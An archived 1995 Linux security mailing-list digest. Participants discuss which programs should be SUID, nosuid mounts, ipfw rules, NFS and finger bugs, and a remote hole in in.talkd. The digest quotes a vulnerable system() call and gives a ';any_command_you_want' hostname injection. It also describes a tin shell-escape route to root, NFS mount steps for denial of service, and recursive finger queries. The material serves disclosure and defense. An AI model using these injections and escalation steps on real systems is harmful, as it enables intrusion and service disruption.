majordomo's help text should tell you how to retrieve them. - ----------------------- MD5 signatures ----------------------------- 60a6a6983b52e9cd469cbf93dc285bc6 nfs-server-2.1.tar.gz 2201659365250c78766c9b123a598699 portmap-3.tar.gz - ---------------------- PGP signature for nfsd ---------------------- - -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2JZbeFnVHXv40etAQGsPwQAoHNjpnRuqQfbFS61RM4K6SpLH5dp71+M 3mEKt/lrv9qZwz+3uQmmLmE4l2Ycg+nOnXTBCDRZPxiwwKYhQO3MPrTNslkhHNi8 FpKAWl1x5yuj4oULW+JnJe15tT9kyk0teoX1bxO4eIxB18jOyxrTHfJ3is/2xmJp JOfwWWk+9Kk= =iL95 - -----END PGP MESSAGE----- - -------------------- PGP signature for portmap --------------------- - -----BEGIN PGP MESSAGE----- Version: 2.6 iQCVAgUAL2MUvuFnVHXv40etAQHhuwP/SSbfIK3AFMUulqibxC6WH24qzpEMYQMs H2KTDQONkZCrfIctyTnjMHA/V81qKki3LodrlVafs3v/M5PV4J5pvCnrmAZDbU6m 7z2o+SjFGFS1T3/UIj9uAPyJ5W5TPjzNnkTBj8SgyyL7pCpiKG5CsYEEWK0MiMyA P2bqC07ZfAw= =Wb6T - -----END PGP MESSAGE----- ------------------------------ From: [email protected] Date: Sun, 12 Mar 1995 19:00:06 +0100 (MET) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? > > Andrew Cromarty ([email protected]) wrote: > least a start. ('lusers' group is made up entirely of people who have > physical access to the machine) > > *** X11 Stuff, both R5 & R6, Servers are only runable by 'lusers' > -rwsr-xr-x 1 root bin 9220 Mar 10 1994 /usr2/X11/bin/xload > -rwsr-xr-x 1 root root 9220 Sep 28 04:04 /usr2/X11R6/bin/xload Thes ones were, but no longer are suid on my system. I dont think it should be set-uid on Linux. > *** Procmail, Screen, and tin (suid news) > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin I wouldn't trust "tin". > *** System utils that mod files in restricted space > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh I'd group these with "passwd". > *** Deliver should probably be in /usr/local/bin, but slackware has strange > way of installing some packages > -rws--x--x 1 root mail 37892 Dec 1 1993 /usr/bin/deliver for your information: the "rule" is that slackware comes with a clean /usr/local. All that ends up there is yours..... > > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute rlogin tells the other side "this user is called wolff, can you let him in". If you allow rlogind to accept this from any port, any user could write a new rlogin program that pretends to be anyone Roger. ------------------------------ From: Jeff Uphoff Date: Sun, 12 Mar 1995 15:20:42 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? "EL" == Elias Levy writes: EL> On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: >> Coding the proper permissions inside the binaries. Make the program >> check its own permissions upon startup and add an option like >> "--check-own-permissions" to it. >> Well, that involves either getting every program-designer/coder to agree to add this option to their program (simply because the Linux community thinks that it would be a good idea), or having a Linux "permissions" patch for every piece of software that's included in standard distributions, etc. What's the use for striving towards compliance and portability if we're going to try and implement something like this? Not an option, IMHO...can you imagine trying to tell someone like Richard Stallman that all the GNU software should have this feature added for Linux? This idea would die (from politics if nothing else) _very_ rapidly. Even your idea of hacking GCC's startup module to do something like this at program load would run into heavy resistance (and you're right in saying that it would be a kludge)--I don't see H.J. Lu et al. adding this to the GCC code any time soon... And what if you later decide that you want, say 'rtin', to run setgid to "news" because you're switching from a local threading/indexing database to an NFS mounted one that requires this? Now you have to recompile 'rtin' so that it will accept running itself setgid, instead of just changing the permissions and being done with the matter. EL> And just who decides what are the proper permissionsfor every diferent EL> package? Thats the real problem. I think the real problem is the implementation, not the permissions decisions, but I agree: who decides? Every installation is different in at least some subtle way... - --Up. ------------------------------ From: "Joseph S. D. Yao" Date: Sun, 12 Mar 1995 15:03:27 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? [email protected] (Panzer Boy) wrote: > Andrew Cromarty ([email protected]) wrote: > : 1. What's a good Linux-specific spec for file permissions ... > Well. Here's my output. ... Curious. I note that a number of the programs Matt's scan found are setuid-something AND setgid-something. When I've checked programs like that in the past, one or the other has almost always turned out to be superfluous. I haven't done a scan like that on Linux yet. [Somehow, it's a lot easier to find time to do things like that when you're being paid to do them - .] I wonder whether that's the case with many of these? Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: [email protected] (Panzer Boy) Date: 12 Mar 1995 15:37:12 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? [email protected] wrote: : > *** Procmail, Screen, and tin (suid news) : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin : I wouldn't trust "tin". It's suid NEWS, not root. Though indirectly you can get root from that. I know. Get news, modify rc.news file, run by root... :) This was originally run as root so that I could have it create index files, as this is no longer needed (I have news locally) tin is no longer suid root. : > *** System utils that mod files in restricted space : > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn : > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh : I'd group these with "passwd". I don't have a group passwd, don't see the use other than convience. : for your information: the "rule" is that slackware comes with a clean : /usr/local. All that ends up there is yours..... Kinda strange way to do it, since have of slackware is made up of things that should be in /usr/local/bin. Again, this is personal taste, so whatever people like. :) : rlogin tells the other side "this user is called wolff, can you let him : in". If you allow rlogind to accept this from any port, any user could : write a new rlogin program that pretends to be anyone The whole "r" program problem is always a pain. If you have a local cluster of machines you run, you want people to be able to rsh back and forth around them and not worry about having to type their passwords again. Though you want to prevent any attempt at doing this from the outside including if these users have + + in their .rhosts file due to some "mistake". - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] (Thomas Koenig) Date: Sun, 12 Mar 1995 21:46:41 +0100 (MET) Subject: Closing suid root holes To partially solve the suid program problem, I've proposed, in the past, an additional flag for the file system, similar to the immutable and read-only flags already found on EXT2FS. Let's call it the 'system flag'. It should have the following properties: - - Files with this flag cannot be removed, renamed, (hard)linked, or unlinked. - - A file with this flag can only be opened for writing if the O_SYSTEM flag is supplied to open(). - - An open() for a file without the system flag set fails if O_SYSTEM is present for opening. Let's suppose, then, that /etc/passwd has this flag set. A cracker who has found yet another suid program bug in a utility like sendmail could not open /etc/passwd for writing, because sendmail's author didn't put O_SYSTEM into the open call. This would close the door on a large portion of traditional UNIX security holes. The drawbacks would be some added complexity (you would need to teach commands like useradd etc. these things, plus patch in an option for your favourite editor), and you'd probably want a specialized 'cat' utility to stick at the end of your pipes. Alternatively, you could hack your favourite shell for this purpose. To empahsize: This proposal will not help if an attacker already has gained root permissions on your system. It will, however, keep him from using suid utilities to manipulate the system database. This would be trivial enough to do (and I've already done it, once; the patches don't work any more, but are easy enough to redo). Comments? ------------------------------ From: Geoffrey Bennett Date: Mon, 13 Mar 1995 09:57:24 +1030 (CST) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? [mod: quoting trimmed --okir] > *** /bin/login doesn't need to suid root, as it should for the most part > only be called by root owned procs. ping for icmp. passwd stuff for > access to restricted shells. /bin/login should be suid root, in case someone wants to exec login, I thought? > Those are mine, though if someone notices something that shouldn't be as > it is, please email me... :) > > Also remember anything run from rc files will be run as root, and > anything run from inetd will be also. No, inetd.conf specifies which user each server should be run as. Regards, - -- ___ / __ \___|eoffrey D. Bennett!-) [email protected] ------------------------------ From: joost witteveen Date: Sun, 12 Mar 1995 19:43:05 +0100 (MET) Subject: Re: NFS patch Dear Olaf, I tried the new nfsd. For me it works great: removes a ?bug I used to have trouble with with v 2.0: the server wouldn't allow the client to read some links. However, as you said you would like to hear comments, here are some. Unfortunately I'm not an hacker, and didn't look into the source to find any problems. Hope you'll read on anyhow: **************** ?bug? 1 My exports file says (amongst others) the following: / rulkmp(ro) /tmp rulkmp(rw) I remember with the old mountd/nfsd to be able to mount /tmp as (rw). This seems not to work with the new one (may be totally unrelated). I don't know how it should work, though I would prefere being able to mount /tmp as rw, and the rest as ro. *************** beauty error: To make the file auth_clnt.c compile, I had to add the following: #ifndef NOBODY_UID #define NOBODY_UID ((uid_t) 65534) /* The unprivileged user. */ #endif #ifndef NOBODY_GID #define NOBODY_GID ((gid_t) 65534) /* The unprivileged group. */ #endif *************** probbably unrelated to your work: This is probably unrelated to the new version. However, as there is a small chance it is, I tell you anyway. I seem to be anable to rulkmp:/etc# mount (amoungst others:) rulcmc:/tmp on /tmp type nfs (rw,addr=132.229.1.33) rulkmp:/etc# umount /tmp umount: rulcmc:/tmp: device is busy *************** my setup My old setup: rulcmc:usr/sbin# ./rpc.mountd -v Universal NFS Server, version 2.0 rulcmc:/usr/sbin# ./rpc.nfsd -v Universal NFS Server, version 2.0 The client was (always) running the old mountd and nfsd. I do assume this should be possable. The server was (of cource) running your new nfsd and mountd. rulcmc:/usr/sbin$ uname -a Linux rulcmc 1.1.59 #4 Fri Feb 17 21:24:07 MET 1995 i486 Slackware, 2.0.0. cheers, joost - -- joost witteveen [email protected] [email protected] [email protected] ------------------------------ From: Benedikt Stockebrand Date: Sun, 12 Mar 1995 22:37:31 +0100 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? On Sat, 11 Mar 1995 23:25:44 -0800 (PST), Elias Levy wrote: | On Sun, 12 Mar 1995, Benedikt Stockebrand wrote: | | > Coding the proper permissions inside the binaries. Make the program | > check its own permissions upon startup and add an option like | > "--check-own-permissions" to it. | [ cut ] | And just who decides what are the proper permissionsfor every diferent | package? Thats the real problem. Well, first of all the programmer of the package. This should work in most cases and only leave the few difficult ones where package interaction or such causes trouble. That's where the distributors and/or local bin admins have to get in. But even if one package in ten still caused such a problem this would already help a lot. And finally, you could put some appropriate choices into the Makefiles so even then you wouldn't have to do figure it all out from scratch. Ben - ----------------------------------------------------------------------- Benedikt (Ben) Stockebrand ([email protected]) Dortmund, Germany And don't tell me about Benedict Arnold anymore... - ----------------------------------------------------------------------- ------------------------------ End of linux-security-digest V1 #9 ********************************** linux-security-digest/1995/v01.n010100664 1767 1767 50325 5731055400 16043 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #10 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 13 March 1995 Volume 01 : Number 010 Re: SECURITY: NFS Vulnerability Re: Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: Closing suid root holes Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? /usr/local/... file placement, and vendor security quality control Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? rsh et al.: Linux's ipfw seems to solve the practical problem. in.talkd+antiflash Re: "Find all the SUID programs." Fine. So which *should* be SUID? in.talkd+flash ---------------------------------------------------------------------- From: [email protected] (Dane Jasper) Date: Sun, 12 Mar 95 18:17 PST Subject: Re: SECURITY: NFS Vulnerability In article you wrote: : The current Linux NFS server (version 2.0) has a couple of security problems : some of which have been known for a while and supposedly been fixed a long : time ago. However, none of the versions I found on the usual FTP sites had : these fixes incorporated. I have annother security problem with NFS - but a minor one. Users can cause denial of service attacks by locking up NFS servers that they have access to.. mount -t nfs server.edu:/exports/goodies /mnt mkdir /mnt/another_mountpoint mount -t nfs server.edu:/exports/goodies /mnt/another_mountpoint ll /mnt/another_mountpoint Because NFS is not multithreaded, I think this will fail.. Let me know if I'm barking up the wrong tree - I get the digest, so I'll see responses. Can we make NFS multithreaded? Dane ------------------------------ From: Elias Levy Date: Sun, 12 Mar 1995 16:52:49 -0800 (PST) Subject: Re: Closing suid root holes On Sun, 12 Mar 1995, Thomas Koenig wrote: > > To partially solve the suid program problem, I've proposed, in the > past, an additional flag for the file system, similar to the > immutable and read-only flags already found on EXT2FS. > > Comments? > Guess this fallows my question of why under unix file permission checks are not done for root. I would be "insteresting" if these where performed for root too. Of curse root could chmod a file and read it but the point was a program that simply was exploited to read file or modify them could not. Just imagine the passwd file being mode 444. Then a program that had a bug that allowed the bad guys to append to any file could not be used. Of curse this means modifying the passwd programs and good knows how many other things, to do a chmod before and after opening the file. [email protected] (Elias Levy) PowerNet, Inc. ------------------------------ From: [email protected] (Panzer Boy) Date: 12 Mar 1995 22:54:32 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Geoffrey Bennett ([email protected]) wrote: : > *** /bin/login doesn't need to suid root, as it should for the most part : > only be called by root owned procs. ping for icmp. passwd stuff for : > access to restricted shells. : /bin/login should be suid root, in case someone wants to exec login, : I thought? Why are people execing login? In most cases you do not need this. : No, inetd.conf specifies which user each server should be run as. Ok, ok, grep "root" /etc/inetd.conf will show you what is being run as root. :) Most things you are worried about are run as root. At the same time you should make sure that things like finger, and other non-privilege needing programs, aren't being run as root. - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." - -- [Mod: This topic is starting to veer away from Linux-specific security into the realm of general UNIX security/administration. Let's try to stay as Linux-specific as we can, as that's the main purpose for these lists. Thanks. --Jeff] ------------------------------ From: Elias Levy Date: Sun, 12 Mar 1995 16:15:50 -0800 (PST) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? On 12 Mar 1995, Panzer Boy wrote: > *** Procmail, Screen, and tin (suid news) > -rwsr-sr-x 1 root mail 41988 Aug 12 1994 /usr2/local/bin/procmail > -rwsr-xr-x 1 root root 144388 May 6 1994 /usr2/local/bin/screen > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin You can escape any command from within tin with !. So you must disable shell escapes. The way I like it better is to run inn or other and run tin -r with no suid bit. (Remember to set the nnrpd.hosts file correctly of curse) > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute I belibe traceroute is suid for the same reason than ping (icmp) > -Matt ([email protected]) DI-1-9026 > "That which can never be enforced should not be prohibited." [email protected] (Elias Levy) PowerNet, Inc. - -- [Mod: Along the lines of my earier comment, let's please also not beat to death the merits/dangers of suid/sgid settings on every program that commonly has them. It's a never-ending debate, and often depends largely on local factors (for good or ill). --Jeff.] ------------------------------ From: alex Date: Sun, 12 Mar 1995 21:11:05 -0500 (EST) Subject: Re: Closing suid root holes On Sun, 12 Mar 1995, Thomas Koenig wrote: > Let's call it the 'system flag'. > > It should have the following properties: > > - Files with this flag cannot be removed, renamed, (hard)linked, or > unlinked. > > - A file with this flag can only be opened for writing if the > O_SYSTEM flag is supplied to open(). > > - An open() for a file without the system flag set fails if O_SYSTEM > is present for opening. > > Let's suppose, then, that /etc/passwd has this flag set. A cracker who > has found yet another suid program bug in a utility like sendmail could > not open /etc/passwd for writing, because sendmail's author didn't put > O_SYSTEM into the open call. I think everything can be simplified by adding 'nosuid' and 'suid' flags to filesystems like in SunOS and OSF. Assume that my partitions are like this: / ext2 /usr ext2 /usr/local ext2, nosuid Now no matter if someone found a bug in SUID program somewhere is /usr/local/totaly-uglypath/ it won't matter because setuid programs are not allowed on a partition! Best wishes, Alex ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= ------------------------------ From: "Leonard N. Zubkoff" Date: Sun, 12 Mar 1995 22:30:13 -0800 Subject: Closing suid root holes Date: Sun, 12 Mar 1995 21:11:05 -0500 (EST) From: alex I think everything can be simplified by adding 'nosuid' and 'suid' flags to filesystems like in SunOS and OSF. Assume that my partitions are like this: / ext2 /usr ext2 /usr/local ext2, nosuid Now no matter if someone found a bug in SUID program somewhere is /usr/local/totaly-uglypath/ it won't matter because setuid programs are not allowed on a partition! You must be a bit out of date. I've been running the following on Linux for quite some time: /dev/sda1 / ext2 defaults 1 1 /dev/sda4 /u ext2 nosuid,nodev 1 2 /dev/sda2 swap swap defaults none /proc proc defaults /dev/sr0 /cd1 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide /dev/sr1 /cd2 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide It's already available... Leonard ------------------------------ From: "Martin v.Loewis" Date: Mon, 13 Mar 1995 07:58:57 +0100 (MET) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? > *** To allow the program to initiate connections from lower ports, though > I for the most part don't see why this needs to be done. > -r-sr-xr-x 1 root bin 13316 Feb 12 1994 /usr/bin/rlogin > -r-sr-xr-x 1 root bin 9220 Feb 12 1994 /usr/bin/rsh > -r-sr-xr-x 1 root root 5584 Feb 2 1994 /usr/bin/traceroute The access to lower ports gives some added security. If every program could create such a socket, everybody could connect to rlogind and tell: 'This user is foo, I've verified this, let him in'. traceroute needs access to the raw socket. With such capabilities, you could easily listen on somebody else' port. Enjoy, Martin ------------------------------ From: [email protected] (Andrew Cromarty) Date: Sun, 12 Mar 95 23:21 PST Subject: /usr/local/... file placement, and vendor security quality control Matt ([email protected]) wrote: > : for your information: the "rule" is that slackware comes with a clean > : /usr/local. All that ends up there is yours..... > Kinda strange way to do it, since have of slackware is made up of things > that should be in /usr/local/bin. Again, this is personal taste, so > whatever people like. :) "Strange"---but it does follow the Linux File System Standard (FSSTND). It leads to some peculiar file placements if you think of the whole installation as "yours," but it makes sense and is convenient if you think of the system as comprised of "a standard release, plus my additions." Briefly, the FSSTND rationale is (simplifying slightly): 1. All "sbin" areas are "system" binaries (of interest to root only). 2. "/usr/..." areas are not guaranteed to be mounted at boot time, but /sbin and /bin are, so the must-have binaries live there. 3. Distributions should leave the /usr/local... dirs empty, for "our" use. Thus if you upgrade to a new Slackware package, in principle all your customizations will be safe (won't get clobbered), since they're in an area (/usr/local/...) that the new distribution doesn't touch. To keep this topic Linux-security related, and proactive: given that the FSSTND explicitly attempts to define what's "their vs. ours" in distributions, we should be encouraging all the distribution bundlers to make "their" file permissions as secure as possible. If we screw ours up, that's our problem. But part of every Slackware/InfoMagic/Morse/RedHat/Yggdrasil/... final quality control check should be ensuring that their product puts _everything_ in the right place at the right permissions---and as the Linux community's most security-conscious consumers, we on this list are the well qualified to make the vendors/distributors aware of this responsibility. Imagine how quickly they get off their tails and work on this if, for example, the members of this list "voted" regularly on the most secure distribution and published the results of the vote as our collective considered opinion on these product's security value. cheers asc ------------------------------ From: [email protected] (Panzer Boy) Date: 13 Mar 1995 03:01:45 -0500 Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Elias Levy ([email protected]) wrote: : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin : You can escape any command from within tin with !. So you must disable shell : escapes. The way I like it better is to run inn or other and run tin -r : with no suid bit. (Remember to set the nnrpd.hosts file correctly of curse) In tin, here, I type !, then /bin/tcsh, then id.... > id uid=405(panzer) gid=100(users) groups=100(users),10(wheel),101(lusers) Though it doesn't matter anymore as I have removed the suid bit as I don't need tin writing index files. (Though I did check this with suid back on) - -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." ------------------------------ From: [email protected] Date: Mon, 13 Mar 1995 09:01:52 +0100 (MET) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? > > [email protected] wrote: > : > *** Procmail, Screen, and tin (suid news) > : > -rwsr-sr-x 1 news news 222212 Aug 12 1994 /usr2/local/bin/tin > : I wouldn't trust "tin". > > It's suid NEWS, not root. Though indirectly you can get root from that. > I know. Get news, modify rc.news file, run by root... :) This was > originally run as root so that I could have it create index files, as > this is no longer needed (I have news locally) tin is no longer suid root. That's what I said. I wouldn't trust tin. It gives you a route to become root. I might be a little terse, but my "instinct" told me that tin usually doesn't need any s bits. If you do stick them on, you invariably open up a whole bag of problems. Even if there wouldn't be a root-hole behind there, you didn't make the news system owned by "news" to let everybody modify it, if you did want to trust your users not to mess with the news system, you'd have made the whole news system 777. > > > : > *** System utils that mod files in restricted space > : > -rwsr-xr-x 1 root root 17412 May 6 1994 /usr/bin/chfn > : > -rwsr-xr-x 1 root root 13316 May 6 1994 /usr/bin/chsh > : I'd group these with "passwd". > I don't have a group passwd, don't see the use other than convience. No. Sorry. I didn't mean it that way. I meant to say that the group (passwd, chfn and chsh) belong together. They all change the file /etc/passwd. > > : for your information: the "rule" is that slackware comes with a clean > : /usr/local. All that ends up there is yours..... > Kinda strange way to do it, since have of slackware is made up of things > that should be in /usr/local/bin. Again, this is personal taste, so > whatever people like. :) Right. On a SUN/HP system, you don't get the PD stuff. You add it locally, and it goes in /usr/local/bin. On Slackware, this stuff wasn't added by you, locally, so it doesn't belong in /usr/local/bin . Roger. ------------------------------ From: [email protected] (Andrew Cromarty) Date: Mon, 13 Mar 95 01:51 PST Subject: rsh et al.: Linux's ipfw seems to solve the practical problem. Matt ([email protected]) wrote: > : rlogin tells the other side "this user is called wolff, can you let him > : in". If you allow rlogind to accept this from any port, any user could > : write a new rlogin program that pretends to be anyone > The whole "r" program problem is always a pain. If you have a local > cluster of machines you run, you want people to be able to rsh back and > forth around them and not worry about having to type their passwords > again. Though you want to prevent any attempt at doing this from the > outside including if these users have + + in their .rhosts file due to > some "mistake". It seems most of us run Linux either as a standalone system (e.g. using SLIP/PPP) or on an Internet-connected LAN. I agree there's a gravitic effect to rsh and company, i.e. most legitimate rsh/rlogin/...'s are between local (e.g. LAN-connected) machines, not across the Internet router. That actually helps: at least for the LAN case, it appears that Linux's ipfw (IP Firewall, now in the kernel) solves this problem. Here's how: 1. You configure your Internet router to know that (say) your Class C addrs are all on the LAN side of the router, and all other addrs are on the WAN side. This should prevent IP address spoofing from Internet hosts, since spoof packets get dropped on the floor. 2. You then compile your Linux kernel with firewall enabled, and then on each of your LAN nodes (e.g. in rc.local) you say: ipfw add blocking deny tcp from 0/0 to $MYLAN exec ipfw add blocking deny tcp from 0/0 to $MYLAN login ipfw add blocking deny tcp from 0/0 to $MYLAN shell ipfw add blocking accept all from $MYLAN to 0/0 where MYLAN is set to your Class C network's IP address in a.b.c.0/24 format. This prevents both FQDN spoofing and password cracking attacks, since all Internet packets for rexec, rcp, rsh, and rlogin packets services are never seen on your LAN, but it gives your LAN machines complete r-command access to each other. ("exec", "login", and "shell" are the service names appearing in your /etc/services file, in case yours differ; the port numbers work here too.) I tested it, and it seemed to work for me. Obviously it should apply to other services (lpd, finger, etc.) as well. It took me an hour or two of wading through the ipfw source to work it out (see p.s. below), but it should take only 3 minutes to implement using the above commands as a guide. It doesn't assume you have a "real" firewall (bastion host, proxy server, etc.); every machine can be Internet-connected, as long as they all execute these ipfw commands. I'd appreciate feedback, especially from others who try this out. asc p.s. Warning: the ipfw docs are quite weak and sometimes wrong, and my mind threw up a couple times while reading the ipfw.c source, which is 1300 lines of C parser and 100 lines of real work. I have added "Never write a recursive descent parser in C" to my Book of Life Heuristics---those 25 pages of parser would have been three pages of LISP or 10 lines of SNOBOL or Icon. So we're still bleeding-edge when using ipfw for now, I think. ------------------------------ From: Elias Levy Date: Mon, 13 Mar 1995 01:08:30 -0800 (PST) Subject: in.talkd+antiflash This message appeared in bugtraq and it applies to linux in.talkd with the antiflash patches found in sunsite. (What what that Olaf said? ALERT? :) ) - ---------- Forwarded message ---------- Date: Sat, 11 Mar 1995 02:00:47 +1100 From: Julian Assange To: [email protected] Subject: bsd in.talkd+antiflash remote-remote hole line ~160 process.c if (hp != (struct hostent *)0) { char sys_buf[150]; int child; caller_host=hp->h_name; /* SECURITY BUG - Proff sprintf(sys_buf,"/etc/flash.mail %s",caller_host); system(sys_buf); */ } else caller_host="unknown"; Modify your DNS hostfield to : ;any_command_you_want Set a talk flash to the site running the in.talkd d, and guess what happens? Cheers, Julian Assange -Proff- ------------------------------ From: Jon Lewis Date: Mon, 13 Mar 1995 07:46:45 -0500 (EST) Subject: Re: "Find all the SUID programs." Fine. So which *should* be SUID? On Mon, 13 Mar 1995, Martin v.Loewis wrote: I just looked at the inetd.conf from my slackware 2.0.2 installation, and am a bit worried. Virtually everything is set to run as root or daemon. A few are set to run as guest, which is a non-existant username. Could somebody post a typical slackware inetd.conf with recomendations as to what should legitimately be run as root, and what should be run as a less priviliged user. - ------------------------------------------------------------------ Jon Lewis | [email protected] | | Mime attachments are OK | But please ask before sending unsolicited huge files. http://inorganic5.chem.ufl.edu _____Finger [email protected] for PGP public key_____ ------------------------------ From: [email protected] (Alan Cox) Date: Mon, 13 Mar 1995 12:15:49 +0000 (GMT) Subject: in.talkd+flash The sunsite in.talkd with flash protection has a critical error that allows arbitary commands to be executed on a machine running it. (It uses system to mail complaints and doesnt check for things like ';' in the hostname). Everyone should fix it or remove it ASAP ------------------------------ End of linux-security-digest V1 #10 *********************************** linux-security-digest/1995/v01.n011100664 1767 1767 50063 5731265123 16050 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #11 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Tuesday, 14 March 1995 Volume 01 : Number 011 Re: Closing suid root holes finger @ bug Netscape sending unauthorized stuff? Re: Closing suid root holes Re: finger @ bug Re: /usr/local/... file placement, and vendor security quality control Re: SECURITY: NFS Vulnerability Oops...didn't mean to approve that last one! [was: Re: SECURITY: NFS Vulnerability] Re: in.talkd+flash Re: Netscape sending unauthorized stuff? Re: finger @ bug Netscape sending unauthorized stuff? Re: SECURITY: NFS Vulnerability Re: rsh et al.: Linux's ipfw seems to solve the practical problem. miscellaneous Reply-To headers. Re: finger @ bug ---------------------------------------------------------------------- From: alex Date: Mon, 13 Mar 1995 03:12:40 -0500 (EST) Subject: Re: Closing suid root holes > You must be a bit out of date. I've been running the following on Linux for > quite some time: > > /dev/sda1 / ext2 defaults 1 1 > /dev/sda4 /u ext2 nosuid,nodev 1 2 > /dev/sda2 swap swap defaults > none /proc proc defaults > /dev/sr0 /cd1 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide > /dev/sr1 /cd2 iso9660 user,noauto,ro,noexec,nosuid,nodev,unhide > > It's already available... In that case 90% of setuid holes can be closed. Just maintain the list of setuid programs on your setuid-able partition (cron job). ============================================================================= CIS Laboratories email: [email protected] TEMPLE UNIVERSITY [email protected] USA Tel: 1-800-DEV-NULL ============================================================================= ------------------------------ From: Marek Michalkiewicz Date: Mon, 13 Mar 1995 14:58:31 +0100 (MEZ) Subject: finger @ bug Hi, in.fingerd has a bug which allows "recursive" fingering. For example: finger [email protected]@host.domain The bug is known for quite some time, and is not Linux-specific (it exists at least in SunOS, Solaris, SCO, IRIX, FreeBSD - but has been fixed in HP-UX for example). It has some security implications: if you only allow finger access from local domain, you must do this on all machines in local domain. and it makes denial of service attack possible, especially on smaller Linux boxes (by forking lots of processes). I have sent a patch for this to Florian. You can get fixed in.fingerd source from ftp://ftp.ists.pwr.wroc.pl/pub/linux/bugfixes/fingerd.tar.gz or wait for a new NetKit-B release. BTW, linux.nrao.edu has this problem too... Regards, - -- Marek Michalkiewicz [email protected] || [email protected] ------------------------------ From: [email protected] (Thomas Koenig) Date: Mon, 13 Mar 1995 13:48:58 +0100 (MET) Subject: Netscape sending unauthorized stuff? Rumour has it that netscape periodically connects to a server at mcom.com. Has anybody run a netscape under strace yet, to find out what kind of data it sends? If there's any truth to this matter, netscape should be banned for installing a potential trojan horse. ------------------------------ From: "Joseph S. D. Yao" Date: Mon, 13 Mar 1995 10:47:05 -0500 Subject: Re: Closing suid root holes > ... Just imagine the passwd file being mode 444. Then a program that had > a bug that allowed the bad guys to append to any file could not be used. > Of curse this means modifying the passwd programs and good knows how many > other things, to do a chmod before and after opening the file. Which I do routinely on my "work" systems. No big deal. Joe Yao [email protected] - Joseph S. D. Yao ------------------------------ From: Jeff Uphoff Date: Mon, 13 Mar 1995 13:42:25 -0500 Subject: Re: finger @ bug "MM" == Marek Michalkiewicz writes: MM> in.fingerd has a bug which allows "recursive" fingering. For example: MM> finger [email protected]@host.domain MM> [...description, etc...] MM> BTW, linux.nrao.edu has this problem too... I know--I've played with it before to demonstrate to people what I call *ahem* "an unintended feature." I know somebody else (that we all know) that has this problem...try: finger @[email protected] :)~ - --Up. ------------------------------ From: Marc Ewing Date: Mon, 13 Mar 1995 12:23:58 -0500 (EST) Subject: Re: /usr/local/... file placement, and vendor security quality control > To keep this topic Linux-security related, and proactive: given that the > FSSTND explicitly attempts to define what's "their vs. ours" in distributions, > we should be encouraging all the distribution bundlers to make "their" > file permissions as secure as possible. If we screw ours up, that's our > problem. But part of every Slackware/InfoMagic/Morse/RedHat/Yggdrasil/... > final quality control check should be ensuring that their product puts > _everything_ in the right place at the right permissions---and as the > Linux community's most security-conscious consumers, we on this list are > the well qualified to make the vendors/distributors aware of this > responsibility. This would be a great help to me, as a distribution builder. A small "Linux SECSTND" or some kind of simple validation suite would be an *enormous* help. Not being a security expert by any means, I would defer to the people on this list, both because the poeple on this list most certainly know more about security than me and because I'm always short for time. > Imagine how quickly they get off their tails and work on this if, for > example, the members of this list "voted" regularly on the most secure > distribution and published the results of the vote as our collective > considered opinion on these product's security value. Some kind of evaluation would be a great help to both developers and users, and would go a long way PR-wise for Linux in general. - -Marc ------------------------------ From: [email protected] (David Kastrup) Date: Mon, 13 Mar 95 09:57:35 +0100 Subject: Re: SECURITY: NFS Vulnerability In comp.os.linux.announce you write: > ALERT - Announcement of the Linux Emergency Response Team :) >The current Linux NFS server (version 2.0) has a couple of security problems 